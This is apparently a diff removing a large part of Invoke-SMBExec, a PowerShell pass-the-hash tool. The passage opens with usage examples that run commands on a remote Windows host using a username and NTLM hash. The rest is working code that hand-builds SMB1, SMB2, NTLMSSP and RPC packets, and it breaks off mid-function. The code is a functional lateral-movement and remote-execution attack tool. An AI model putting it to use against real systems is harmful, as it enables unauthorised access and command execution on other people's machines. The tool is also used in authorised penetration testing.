-Execute a command.
-Invoke-SMBExec -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Command "command or launcher to execute" -verbose
-
-.EXAMPLE
-Check command execution privilege.
-Invoke-SMBExec -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0
-
-.EXAMPLE
-Execute a command using an authenticated Inveigh-Relay session.
-Invoke-SMBExec -Session 1 -Command "command or launcher to execute"
-
-.EXAMPLE
-Check if SMB signing is required.
-Invoke-SMBExec -Target 192.168.100.20 -SigningCheck
-
-.LINK
-https://github.com/Kevin-Robertson/Invoke-TheHash
-
-#>
-[CmdletBinding(DefaultParametersetName='Default')]
-param
-(
-    [parameter(ParameterSetName='Default',Mandatory=$true)][String]$Target,
-    [parameter(ParameterSetName='Default',Mandatory=$true)][String]$Username,
-    [parameter(ParameterSetName='Default',Mandatory=$false)][String]$Domain,
-    [parameter(Mandatory=$false)][String]$Command,
-    [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$CommandCOMSPEC="Y",
-    [parameter(ParameterSetName='Default',Mandatory=$true)][ValidateScript({$_.Length -eq 32 -or $_.Length -eq 65})][String]$Hash,
-    [parameter(Mandatory=$false)][String]$Service,
-    [parameter(ParameterSetName='Default',Mandatory=$false)][Switch]$SigningCheck,
-    [parameter(ParameterSetName='Session',Mandatory=$false)][Int]$Session,
-    [parameter(ParameterSetName='Session',Mandatory=$false)][Switch]$Logoff,
-    [parameter(ParameterSetName='Session',Mandatory=$false)][Switch]$Refresh,
-    [parameter(ParameterSetName='Default',Mandatory=$false)][Switch]$SMB1,
-    [parameter(Mandatory=$false)][Int]$Sleep=150
-)
-
-if($Command)
-{
-    $SMB_execute = $true
-}
-
-if($SMB1)
-{
-    $SMB_version = 'SMB1'
-}
-
-function ConvertFrom-PacketOrderedDictionary
-{
-    param($OrderedDictionary)
-
-    ForEach($field in $OrderedDictionary.Values)
-    {
-        $byte_array += $field
-    }
-
-    return $byte_array
-}
-
-#NetBIOS
-
-function New-PacketNetBIOSSessionService
-{
-    param([Int]$HeaderLength,[Int]$DataLength)
-
-    [Byte[]]$length = ([System.BitConverter]::GetBytes($HeaderLength + $DataLength))[2..0]
-
-    $NetBIOSSessionService = New-Object System.Collections.Specialized.OrderedDictionary
-    $NetBIOSSessionService.Add("MessageType",[Byte[]](0x00))
-    $NetBIOSSessionService.Add("Length",$length)
-
-    return $NetBIOSSessionService
-}
-
-#SMB1
-
-function New-PacketSMBHeader
-{
-    param([Byte[]]$Command,[Byte[]]$Flags,[Byte[]]$Flags2,[Byte[]]$TreeID,[Byte[]]$ProcessID,[Byte[]]$UserID)
-
-    $ProcessID = $ProcessID[0,1]
-
-    $SMBHeader = New-Object System.Collections.Specialized.OrderedDictionary
-    $SMBHeader.Add("Protocol",[Byte[]](0xff,0x53,0x4d,0x42))
-    $SMBHeader.Add("Command",$Command)
-    $SMBHeader.Add("ErrorClass",[Byte[]](0x00))
-    $SMBHeader.Add("Reserved",[Byte[]](0x00))
-    $SMBHeader.Add("ErrorCode",[Byte[]](0x00,0x00))
-    $SMBHeader.Add("Flags",$Flags)
-    $SMBHeader.Add("Flags2",$Flags2)
-    $SMBHeader.Add("ProcessIDHigh",[Byte[]](0x00,0x00))
-    $SMBHeader.Add("Signature",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
-    $SMBHeader.Add("Reserved2",[Byte[]](0x00,0x00))
-    $SMBHeader.Add("TreeID",$TreeID)
-    $SMBHeader.Add("ProcessID",$ProcessID)
-    $SMBHeader.Add("UserID",$UserID)
-    $SMBHeader.Add("MultiplexID",[Byte[]](0x00,0x00))
-
-    return $SMBHeader
-}
-function New-PacketSMBNegotiateProtocolRequest
-{
-    param([String]$Version)
-
-    if($Version -eq 'SMB1')
-    {
-        [Byte[]]$byte_count = 0x0c,0x00
-    }
-    else
-    {
-        [Byte[]]$byte_count = 0x22,0x00  
-    }
-
-    $SMBNegotiateProtocolRequest = New-Object System.Collections.Specialized.OrderedDictionary
-    $SMBNegotiateProtocolRequest.Add("WordCount",[Byte[]](0x00))
-    $SMBNegotiateProtocolRequest.Add("ByteCount",$byte_count)
-    $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_BufferFormat",[Byte[]](0x02))
-    $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_Name",[Byte[]](0x4e,0x54,0x20,0x4c,0x4d,0x20,0x30,0x2e,0x31,0x32,0x00))
-
-    if($version -ne 'SMB1')
-    {
-        $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_BufferFormat2",[Byte[]](0x02))
-        $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_Name2",[Byte[]](0x53,0x4d,0x42,0x20,0x32,0x2e,0x30,0x30,0x32,0x00))
-        $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_BufferFormat3",[Byte[]](0x02))
-        $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_Name3",[Byte[]](0x53,0x4d,0x42,0x20,0x32,0x2e,0x3f,0x3f,0x3f,0x00))
-    }
-
-    return $SMBNegotiateProtocolRequest
-}
-
-function New-PacketSMBSessionSetupAndXRequest
-{
-    param([Byte[]]$SecurityBlob)
-
-    [Byte[]]$byte_count = [System.BitConverter]::GetBytes($SecurityBlob.Length)
-    $byte_count = $byte_count[0,1]
-    [Byte[]]$security_blob_length = [System.BitConverter]::GetBytes($SecurityBlob.Length + 5)
-    $security_blob_length = $security_blob_length[0,1]
-
-    $SMBSessionSetupAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary
-    $SMBSessionSetupAndXRequest.Add("WordCount",[Byte[]](0x0c))
-    $SMBSessionSetupAndXRequest.Add("AndXCommand",[Byte[]](0xff))
-    $SMBSessionSetupAndXRequest.Add("Reserved",[Byte[]](0x00))
-    $SMBSessionSetupAndXRequest.Add("AndXOffset",[Byte[]](0x00,0x00))
-    $SMBSessionSetupAndXRequest.Add("MaxBuffer",[Byte[]](0xff,0xff))
-    $SMBSessionSetupAndXRequest.Add("MaxMpxCount",[Byte[]](0x02,0x00))
-    $SMBSessionSetupAndXRequest.Add("VCNumber",[Byte[]](0x01,0x00))
-    $SMBSessionSetupAndXRequest.Add("SessionKey",[Byte[]](0x00,0x00,0x00,0x00))
-    $SMBSessionSetupAndXRequest.Add("SecurityBlobLength",$byte_count)
-    $SMBSessionSetupAndXRequest.Add("Reserved2",[Byte[]](0x00,0x00,0x00,0x00))
-    $SMBSessionSetupAndXRequest.Add("Capabilities",[Byte[]](0x44,0x00,0x00,0x80))
-    $SMBSessionSetupAndXRequest.Add("ByteCount",$security_blob_length)
-    $SMBSessionSetupAndXRequest.Add("SecurityBlob",$SecurityBlob)
-    $SMBSessionSetupAndXRequest.Add("NativeOS",[Byte[]](0x00,0x00,0x00))
-    $SMBSessionSetupAndXRequest.Add("NativeLANManage",[Byte[]](0x00,0x00))
-
-    return $SMBSessionSetupAndXRequest 
-}
-
-function New-PacketSMBTreeConnectAndXRequest
-{
-    param([Byte[]]$Path)
-
-    [Byte[]]$path_length = $([System.BitConverter]::GetBytes($Path.Length + 7))[0,1]
-
-    $SMBTreeConnectAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary
-    $SMBTreeConnectAndXRequest.Add("WordCount",[Byte[]](0x04))
-    $SMBTreeConnectAndXRequest.Add("AndXCommand",[Byte[]](0xff))
-    $SMBTreeConnectAndXRequest.Add("Reserved",[Byte[]](0x00))
-    $SMBTreeConnectAndXRequest.Add("AndXOffset",[Byte[]](0x00,0x00))
-    $SMBTreeConnectAndXRequest.Add("Flags",[Byte[]](0x00,0x00))
-    $SMBTreeConnectAndXRequest.Add("PasswordLength",[Byte[]](0x01,0x00))
-    $SMBTreeConnectAndXRequest.Add("ByteCount",$path_length)
-    $SMBTreeConnectAndXRequest.Add("Password",[Byte[]](0x00))
-    $SMBTreeConnectAndXRequest.Add("Tree",$Path)
-    $SMBTreeConnectAndXRequest.Add("Service",[Byte[]](0x3f,0x3f,0x3f,0x3f,0x3f,0x00))
-
-    return $SMBTreeConnectAndXRequest
-}
-
-function New-PacketSMBNTCreateAndXRequest
-{
-    param([Byte[]]$NamedPipe)
-
-    [Byte[]]$named_pipe_length = $([System.BitConverter]::GetBytes($NamedPipe.Length))[0,1]
-    [Byte[]]$file_name_length = $([System.BitConverter]::GetBytes($NamedPipe.Length - 1))[0,1]
-
-    $SMBNTCreateAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary
-    $SMBNTCreateAndXRequest.Add("WordCount",[Byte[]](0x18))
-    $SMBNTCreateAndXRequest.Add("AndXCommand",[Byte[]](0xff))
-    $SMBNTCreateAndXRequest.Add("Reserved",[Byte[]](0x00))
-    $SMBNTCreateAndXRequest.Add("AndXOffset",[Byte[]](0x00,0x00))
-    $SMBNTCreateAndXRequest.Add("Reserved2",[Byte[]](0x00))
-    $SMBNTCreateAndXRequest.Add("FileNameLen",$file_name_length)
-    $SMBNTCreateAndXRequest.Add("CreateFlags",[Byte[]](0x16,0x00,0x00,0x00))
-    $SMBNTCreateAndXRequest.Add("RootFID",[Byte[]](0x00,0x00,0x00,0x00))
-    $SMBNTCreateAndXRequest.Add("AccessMask",[Byte[]](0x00,0x00,0x00,0x02))
-    $SMBNTCreateAndXRequest.Add("AllocationSize",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
-    $SMBNTCreateAndXRequest.Add("FileAttributes",[Byte[]](0x00,0x00,0x00,0x00))
-    $SMBNTCreateAndXRequest.Add("ShareAccess",[Byte[]](0x07,0x00,0x00,0x00))
-    $SMBNTCreateAndXRequest.Add("Disposition",[Byte[]](0x01,0x00,0x00,0x00))
-    $SMBNTCreateAndXRequest.Add("CreateOptions",[Byte[]](0x00,0x00,0x00,0x00))
-    $SMBNTCreateAndXRequest.Add("Impersonation",[Byte[]](0x02,0x00,0x00,0x00))
-    $SMBNTCreateAndXRequest.Add("SecurityFlags",[Byte[]](0x00))
-    $SMBNTCreateAndXRequest.Add("ByteCount",$named_pipe_length)
-    $SMBNTCreateAndXRequest.Add("Filename",$NamedPipe)
-
-    return $SMBNTCreateAndXRequest
-}
-
-function New-PacketSMBReadAndXRequest
-{
-    $SMBReadAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary
-    $SMBReadAndXRequest.Add("WordCount",[Byte[]](0x0a))
-    $SMBReadAndXRequest.Add("AndXCommand",[Byte[]](0xff))
-    $SMBReadAndXRequest.Add("Reserved",[Byte[]](0x00))
-    $SMBReadAndXRequest.Add("AndXOffset",[Byte[]](0x00,0x00))
-    $SMBReadAndXRequest.Add("FID",[Byte[]](0x00,0x40))
-    $SMBReadAndXRequest.Add("Offset",[Byte[]](0x00,0x00,0x00,0x00))
-    $SMBReadAndXRequest.Add("MaxCountLow",[Byte[]](0x58,0x02))
-    $SMBReadAndXRequest.Add("MinCount",[Byte[]](0x58,0x02))
-    $SMBReadAndXRequest.Add("Unknown",[Byte[]](0xff,0xff,0xff,0xff))
-    $SMBReadAndXRequest.Add("Remaining",[Byte[]](0x00,0x00))
-    $SMBReadAndXRequest.Add("ByteCount",[Byte[]](0x00,0x00))
-
-    return $SMBReadAndXRequest
-}
-
-function New-PacketSMBWriteAndXRequest
-{
-    param([Byte[]]$FileID,[Int]$RPCLength)
-
-    [Byte[]]$write_length = [System.BitConverter]::GetBytes($RPCLength)
-    $write_length = $write_length[0,1]
-
-    $SMBWriteAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary
-    $SMBWriteAndXRequest.Add("WordCount",[Byte[]](0x0e))
-    $SMBWriteAndXRequest.Add("AndXCommand",[Byte[]](0xff))
-    $SMBWriteAndXRequest.Add("Reserved",[Byte[]](0x00))
-    $SMBWriteAndXRequest.Add("AndXOffset",[Byte[]](0x00,0x00))
-    $SMBWriteAndXRequest.Add("FID",$FileID)
-    $SMBWriteAndXRequest.Add("Offset",[Byte[]](0xea,0x03,0x00,0x00))
-    $SMBWriteAndXRequest.Add("Reserved2",[Byte[]](0xff,0xff,0xff,0xff))
-    $SMBWriteAndXRequest.Add("WriteMode",[Byte[]](0x08,0x00))
-    $SMBWriteAndXRequest.Add("Remaining",$write_length)
-    $SMBWriteAndXRequest.Add("DataLengthHigh",[Byte[]](0x00,0x00))
-    $SMBWriteAndXRequest.Add("DataLengthLow",$write_length)
-    $SMBWriteAndXRequest.Add("DataOffset",[Byte[]](0x3f,0x00))
-    $SMBWriteAndXRequest.Add("HighOffset",[Byte[]](0x00,0x00,0x00,0x00))
-    $SMBWriteAndXRequest.Add("ByteCount",$write_length)
-
-    return $SMBWriteAndXRequest
-}
-
-function New-PacketSMBCloseRequest
-{
-    param ([Byte[]]$FileID)
-
-    $SMBCloseRequest = New-Object System.Collections.Specialized.OrderedDictionary
-    $SMBCloseRequest.Add("WordCount",[Byte[]](0x03))
-    $SMBCloseRequest.Add("FID",$FileID)
-    $SMBCloseRequest.Add("LastWrite",[Byte[]](0xff,0xff,0xff,0xff))
-    $SMBCloseRequest.Add("ByteCount",[Byte[]](0x00,0x00))
-
-    return $SMBCloseRequest
-}
-
-function New-PacketSMBTreeDisconnectRequest
-{
-    $SMBTreeDisconnectRequest = New-Object System.Collections.Specialized.OrderedDictionary
-    $SMBTreeDisconnectRequest.Add("WordCount",[Byte[]](0x00))
-    $SMBTreeDisconnectRequest.Add("ByteCount",[Byte[]](0x00,0x00))
-
-    return $SMBTreeDisconnectRequest
-}
-
-function New-PacketSMBLogoffAndXRequest
-{
-    $SMBLogoffAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary
-    $SMBLogoffAndXRequest.Add("WordCount",[Byte[]](0x02))
-    $SMBLogoffAndXRequest.Add("AndXCommand",[Byte[]](0xff))
-    $SMBLogoffAndXRequest.Add("Reserved",[Byte[]](0x00))
-    $SMBLogoffAndXRequest.Add("AndXOffset",[Byte[]](0x00,0x00))
-    $SMBLogoffAndXRequest.Add("ByteCount",[Byte[]](0x00,0x00))
-
-    return $SMBLogoffAndXRequest
-}
-
-#SMB2
-
-function New-PacketSMB2Header
-{
-    param([Byte[]]$Command,[Byte[]]$CreditRequest,[Bool]$Signing,[Int]$MessageID,[Byte[]]$ProcessID,[Byte[]]$TreeID,[Byte[]]$SessionID)
-
-    if($Signing)
-    {
-        $flags = 0x08,0x00,0x00,0x00      
-    }
-    else
-    {
-        $flags = 0x00,0x00,0x00,0x00
-    }
-
-    [Byte[]]$message_ID = [System.BitConverter]::GetBytes($MessageID)
-
-    if($message_ID.Length -eq 4)
-    {
-        $message_ID += 0x00,0x00,0x00,0x00
-    }
-
-    $SMB2Header = New-Object System.Collections.Specialized.OrderedDictionary
-    $SMB2Header.Add("ProtocolID",[Byte[]](0xfe,0x53,0x4d,0x42))
-    $SMB2Header.Add("StructureSize",[Byte[]](0x40,0x00))
-    $SMB2Header.Add("CreditCharge",[Byte[]](0x01,0x00))
-    $SMB2Header.Add("ChannelSequence",[Byte[]](0x00,0x00))
-    $SMB2Header.Add("Reserved",[Byte[]](0x00,0x00))
-    $SMB2Header.Add("Command",$Command)
-    $SMB2Header.Add("CreditRequest",$CreditRequest)
-    $SMB2Header.Add("Flags",$flags)
-    $SMB2Header.Add("NextCommand",[Byte[]](0x00,0x00,0x00,0x00))
-    $SMB2Header.Add("MessageID",$message_ID)
-    $SMB2Header.Add("ProcessID",$ProcessID)
-    $SMB2Header.Add("TreeID",$TreeID)
-    $SMB2Header.Add("SessionID",$SessionID)
-    $SMB2Header.Add("Signature",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
-
-    return $SMB2Header
-}
-
-function New-PacketSMB2NegotiateProtocolRequest
-{
-    $SMB2NegotiateProtocolRequest = New-Object System.Collections.Specialized.OrderedDictionary
-    $SMB2NegotiateProtocolRequest.Add("StructureSize",[Byte[]](0x24,0x00))
-    $SMB2NegotiateProtocolRequest.Add("DialectCount",[Byte[]](0x02,0x00))
-    $SMB2NegotiateProtocolRequest.Add("SecurityMode",[Byte[]](0x01,0x00))
-    $SMB2NegotiateProtocolRequest.Add("Reserved",[Byte[]](0x00,0x00))
-    $SMB2NegotiateProtocolRequest.Add("Capabilities",[Byte[]](0x40,0x00,0x00,0x00))
-    $SMB2NegotiateProtocolRequest.Add("ClientGUID",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
-    $SMB2NegotiateProtocolRequest.Add("NegotiateContextOffset",[Byte[]](0x00,0x00,0x00,0x00))
-    $SMB2NegotiateProtocolRequest.Add("NegotiateContextCount",[Byte[]](0x00,0x00))
-    $SMB2NegotiateProtocolRequest.Add("Reserved2",[Byte[]](0x00,0x00))
-    $SMB2NegotiateProtocolRequest.Add("Dialect",[Byte[]](0x02,0x02))
-    $SMB2NegotiateProtocolRequest.Add("Dialect2",[Byte[]](0x10,0x02))
-
-    return $SMB2NegotiateProtocolRequest
-}
-
-function New-PacketSMB2SessionSetupRequest
-{
-    param([Byte[]]$SecurityBlob)
-
-    [Byte[]]$security_buffer_length = ([System.BitConverter]::GetBytes($SecurityBlob.Length))[0,1]
-
-    $SMB2SessionSetupRequest = New-Object System.Collections.Specialized.OrderedDictionary
-    $SMB2SessionSetupRequest.Add("StructureSize",[Byte[]](0x19,0x00))
-    $SMB2SessionSetupRequest.Add("Flags",[Byte[]](0x00))
-    $SMB2SessionSetupRequest.Add("SecurityMode",[Byte[]](0x01))
-    $SMB2SessionSetupRequest.Add("Capabilities",[Byte[]](0x00,0x00,0x00,0x00))
-    $SMB2SessionSetupRequest.Add("Channel",[Byte[]](0x00,0x00,0x00,0x00))
-    $SMB2SessionSetupRequest.Add("SecurityBufferOffset",[Byte[]](0x58,0x00))
-    $SMB2SessionSetupRequest.Add("SecurityBufferLength",$security_buffer_length)
-    $SMB2SessionSetupRequest.Add("PreviousSessionID",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
-    $SMB2SessionSetupRequest.Add("Buffer",$SecurityBlob)
-
-    return $SMB2SessionSetupRequest 
-}
-
-function New-PacketSMB2TreeConnectRequest
-{
-    param([Byte[]]$Buffer)
-
-    [Byte[]]$path_length = ([System.BitConverter]::GetBytes($Buffer.Length))[0,1]
-
-    $SMB2TreeConnectRequest = New-Object System.Collections.Specialized.OrderedDictionary
-    $SMB2TreeConnectRequest.Add("StructureSize",[Byte[]](0x09,0x00))
-    $SMB2TreeConnectRequest.Add("Reserved",[Byte[]](0x00,0x00))
-    $SMB2TreeConnectRequest.Add("PathOffset",[Byte[]](0x48,0x00))
-    $SMB2TreeConnectRequest.Add("PathLength",$path_length)
-    $SMB2TreeConnectRequest.Add("Buffer",$Buffer)
-
-    return $SMB2TreeConnectRequest
-}
-
-function New-PacketSMB2CreateRequestFile
-{
-    param([Byte[]]$NamedPipe)
-
-    $name_length = ([System.BitConverter]::GetBytes($NamedPipe.Length))[0,1]
-
-    $SMB2CreateRequestFile = New-Object System.Collections.Specialized.OrderedDictionary
-    $SMB2CreateRequestFile.Add("StructureSize",[Byte[]](0x39,0x00))
-    $SMB2CreateRequestFile.Add("Flags",[Byte[]](0x00))
-    $SMB2CreateRequestFile.Add("RequestedOplockLevel",[Byte[]](0x00))
-    $SMB2CreateRequestFile.Add("Impersonation",[Byte[]](0x02,0x00,0x00,0x00))
-    $SMB2CreateRequestFile.Add("SMBCreateFlags",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
-    $SMB2CreateRequestFile.Add("Reserved",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
-    $SMB2CreateRequestFile.Add("DesiredAccess",[Byte[]](0x03,0x00,0x00,0x00))
-    $SMB2CreateRequestFile.Add("FileAttributes",[Byte[]](0x80,0x00,0x00,0x00))
-    $SMB2CreateRequestFile.Add("ShareAccess",[Byte[]](0x01,0x00,0x00,0x00))
-    $SMB2CreateRequestFile.Add("CreateDisposition",[Byte[]](0x01,0x00,0x00,0x00))
-    $SMB2CreateRequestFile.Add("CreateOptions",[Byte[]](0x40,0x00,0x00,0x00))
-    $SMB2CreateRequestFile.Add("NameOffset",[Byte[]](0x78,0x00))
-    $SMB2CreateRequestFile.Add("NameLength",$name_length)
-    $SMB2CreateRequestFile.Add("CreateContextsOffset",[Byte[]](0x00,0x00,0x00,0x00))
-    $SMB2CreateRequestFile.Add("CreateContextsLength",[Byte[]](0x00,0x00,0x00,0x00))
-    $SMB2CreateRequestFile.Add("Buffer",$NamedPipe)
-
-    return $SMB2CreateRequestFile
-}
-
-function New-PacketSMB2ReadRequest
-{
-    param ([Byte[]]$FileID)
-
-    $SMB2ReadRequest = New-Object System.Collections.Specialized.OrderedDictionary
-    $SMB2ReadRequest.Add("StructureSize",[Byte[]](0x31,0x00))
-    $SMB2ReadRequest.Add("Padding",[Byte[]](0x50))
-    $SMB2ReadRequest.Add("Flags",[Byte[]](0x00))
-    $SMB2ReadRequest.Add("Length",[Byte[]](0x00,0x00,0x10,0x00))
-    $SMB2ReadRequest.Add("Offset",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
-    $SMB2ReadRequest.Add("FileID",$FileID)
-    $SMB2ReadRequest.Add("MinimumCount",[Byte[]](0x00,0x00,0x00,0x00))
-    $SMB2ReadRequest.Add("Channel",[Byte[]](0x00,0x00,0x00,0x00))
-    $SMB2ReadRequest.Add("RemainingBytes",[Byte[]](0x00,0x00,0x00,0x00))
-    $SMB2ReadRequest.Add("ReadChannelInfoOffset",[Byte[]](0x00,0x00))
-    $SMB2ReadRequest.Add("ReadChannelInfoLength",[Byte[]](0x00,0x00))
-    $SMB2ReadRequest.Add("Buffer",[Byte[]](0x30))
-
-    return $SMB2ReadRequest
-}
-
-function New-PacketSMB2WriteRequest
-{
-    param([Byte[]]$FileID,[Int]$RPCLength)
-
-    [Byte[]]$write_length = [System.BitConverter]::GetBytes($RPCLength)
-
-    $SMB2WriteRequest = New-Object System.Collections.Specialized.OrderedDictionary
-    $SMB2WriteRequest.Add("StructureSize",[Byte[]](0x31,0x00))
-    $SMB2WriteRequest.Add("DataOffset",[Byte[]](0x70,0x00))
-    $SMB2WriteRequest.Add("Length",$write_length)
-    $SMB2WriteRequest.Add("Offset",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
-    $SMB2WriteRequest.Add("FileID",$FileID)
-    $SMB2WriteRequest.Add("Channel",[Byte[]](0x00,0x00,0x00,0x00))
-    $SMB2WriteRequest.Add("RemainingBytes",[Byte[]](0x00,0x00,0x00,0x00))
-    $SMB2WriteRequest.Add("WriteChannelInfoOffset",[Byte[]](0x00,0x00))
-    $SMB2WriteRequest.Add("WriteChannelInfoLength",[Byte[]](0x00,0x00))
-    $SMB2WriteRequest.Add("Flags",[Byte[]](0x00,0x00,0x00,0x00))
-
-    return $SMB2WriteRequest
-}
-
-function New-PacketSMB2CloseRequest
-{
-    param ([Byte[]]$FileID)
-
-    $SMB2CloseRequest = New-Object System.Collections.Specialized.OrderedDictionary
-    $SMB2CloseRequest.Add("StructureSize",[Byte[]](0x18,0x00))
-    $SMB2CloseRequest.Add("Flags",[Byte[]](0x00,0x00))
-    $SMB2CloseRequest.Add("Reserved",[Byte[]](0x00,0x00,0x00,0x00))
-    $SMB2CloseRequest.Add("FileID",$FileID)
-
-    return $SMB2CloseRequest
-}
-
-function New-PacketSMB2TreeDisconnectRequest
-{
-    $SMB2TreeDisconnectRequest = New-Object System.Collections.Specialized.OrderedDictionary
-    $SMB2TreeDisconnectRequest.Add("StructureSize",[Byte[]](0x04,0x00))
-    $SMB2TreeDisconnectRequest.Add("Reserved",[Byte[]](0x00,0x00))
-
-    return $SMB2TreeDisconnectRequest
-}
-
-function New-PacketSMB2SessionLogoffRequest
-{
-    $SMB2SessionLogoffRequest = New-Object System.Collections.Specialized.OrderedDictionary
-    $SMB2SessionLogoffRequest.Add("StructureSize",[Byte[]](0x04,0x00))
-    $SMB2SessionLogoffRequest.Add("Reserved",[Byte[]](0x00,0x00))
-
-    return $SMB2SessionLogoffRequest
-}
-
-#NTLM
-
-function New-PacketNTLMSSPNegotiate
-{
-    param([Byte[]]$NegotiateFlags,[Byte[]]$Version)
-
-    [Byte[]]$NTLMSSP_length = ([System.BitConverter]::GetBytes($Version.Length + 32))[0]
-    [Byte[]]$ASN_length_1 = $NTLMSSP_length[0] + 32
-    [Byte[]]$ASN_length_2 = $NTLMSSP_length[0] + 22
-    [Byte[]]$ASN_length_3 = $NTLMSSP_length[0] + 20
-    [Byte[]]$ASN_length_4 = $NTLMSSP_length[0] + 2
-
-    $NTLMSSPNegotiate = New-Object System.Collections.Specialized.OrderedDictionary
-    $NTLMSSPNegotiate.Add("InitialContextTokenID",[Byte[]](0x60))
-    $NTLMSSPNegotiate.Add("InitialcontextTokenLength",$ASN_length_1)
-    $NTLMSSPNegotiate.Add("ThisMechID",[Byte[]](0x06))
-    $NTLMSSPNegotiate.Add("ThisMechLength",[Byte[]](0x06))
-    $NTLMSSPNegotiate.Add("OID",[Byte[]](0x2b,0x06,0x01,0x05,0x05,0x02))
-    $NTLMSSPNegotiate.Add("InnerContextTokenID",[Byte[]](0xa0))
-    $NTLMSSPNegotiate.Add("InnerContextTokenLength",$ASN_length_2)
-    $NTLMSSPNegotiate.Add("InnerContextTokenID2",[Byte[]](0x30))
-    $NTLMSSPNegotiate.Add("InnerContextTokenLength2",$ASN_length_3)
-    $NTLMSSPNegotiate.Add("MechTypesID",[Byte[]](0xa0))
-    $NTLMSSPNegotiate.Add("MechTypesLength",[Byte[]](0x0e))
-    $NTLMSSPNegotiate.Add("MechTypesID2",[Byte[]](0x30))
-    $NTLMSSPNegotiate.Add("MechTypesLength2",[Byte[]](0x0c))
-    $NTLMSSPNegotiate.Add("MechTypesID3",[Byte[]](0x06))
-    $NTLMSSPNegotiate.Add("MechTypesLength3",[Byte[]](0x0a))
-    $NTLMSSPNegotiate.Add("MechType",[Byte[]](0x2b,0x06,0x01,0x04,0x01,0x82,0x37,0x02,0x02,0x0a))
-    $NTLMSSPNegotiate.Add("MechTokenID",[Byte[]](0xa2))
-    $NTLMSSPNegotiate.Add("MechTokenLength",$ASN_length_4)
-    $NTLMSSPNegotiate.Add("NTLMSSPID",[Byte[]](0x04))
-    $NTLMSSPNegotiate.Add("NTLMSSPLength",$NTLMSSP_length)
-    $NTLMSSPNegotiate.Add("Identifier",[Byte[]](0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00))
-    $NTLMSSPNegotiate.Add("MessageType",[Byte[]](0x01,0x00,0x00,0x00))
-    $NTLMSSPNegotiate.Add("NegotiateFlags",$NegotiateFlags)
-    $NTLMSSPNegotiate.Add("CallingWorkstationDomain",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
-    $NTLMSSPNegotiate.Add("CallingWorkstationName",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
-
-    if($Version)
-    {
-        $NTLMSSPNegotiate.Add("Version",$Version)
-    }
-
-    return $NTLMSSPNegotiate
-}
-
-function New-PacketNTLMSSPAuth
-{
-    param([Byte[]]$NTLMResponse)
-
-    [Byte[]]$NTLMSSP_length = ([System.BitConverter]::GetBytes($NTLMResponse.Length))[1,0]
-    [Byte[]]$ASN_length_1 = ([System.BitConverter]::GetBytes($NTLMResponse.Length + 12))[1,0]
-    [Byte[]]$ASN_length_2 = ([System.BitConverter]::GetBytes($NTLMResponse.Length + 8))[1,0]
-    [Byte[]]$ASN_length_3 = ([System.BitConverter]::GetBytes($NTLMResponse.Length + 4))[1,0]
-
-    $NTLMSSPAuth = New-Object System.Collections.Specialized.OrderedDictionary
-    $NTLMSSPAuth.Add("ASNID",[Byte[]](0xa1,0x82))
-    $NTLMSSPAuth.Add("ASNLength",$ASN_length_1)
-    $NTLMSSPAuth.Add("ASNID2",[Byte[]](0x30,0x82))
-    $NTLMSSPAuth.Add("ASNLength2",$ASN_length_2)
-    $NTLMSSPAuth.Add("ASNID3",[Byte[]](0xa2,0x82))
-    $NTLMSSPAuth.Add("ASNLength3",$ASN_length_3)
-    $NTLMSSPAuth.Add("NTLMSSPID",[Byte[]](0x04,0x82))
-    $NTLMSSPAuth.Add("NTLMSSPLength",$NTLMSSP_length)
-    $NTLMSSPAuth.Add("NTLMResponse",$NTLMResponse)
-
-    return $NTLMSSPAuth
-}
-
-#RPC
-
-function New-PacketRPCBind
-{
-    param([Byte[]]$FragLength,[Int]$CallID,[Byte[]]$NumCtxItems,[Byte[]]$ContextID,[Byte[]]$UUID,[Byte[]]$UUIDVersion)
-
-    [Byte[]]$call_ID = [System.BitConverter]::GetBytes($CallID)
-
-    $RPCBind = New-Object System.Collections.Specialized.OrderedDictionary
-    $RPCBind.Add("Version",[Byte[]](0x05))
-    $RPCBind.Add("VersionMinor",[Byte[]](0x00))
-    $RPCBind.Add("PacketType",[Byte[]](0x0b))
-    $RPCBind.Add("PacketFlags",[Byte[]](0x03))
-    $RPCBind.Add("DataRepresentation",[Byte[]](0x10,0x00,0x00,0x00))
-    $RPCBind.Add("FragLength",$FragLength)
-    $RPCBind.Add("AuthLength",[Byte[]](0x00,0x00))
-    $RPCBind.Add("CallID",$call_ID)
-    $RPCBind.Add("MaxXmitFrag",[Byte[]](0xb8,0x10))
-    $RPCBind.Add("MaxRecvFrag",[Byte[]](0xb8,0x10))
-    $RPCBind.Add("AssocGroup",[Byte[]](0x00,0x00,0x00,0x00))
-    $RPCBind.Add("NumCtxItems",$NumCtxItems)
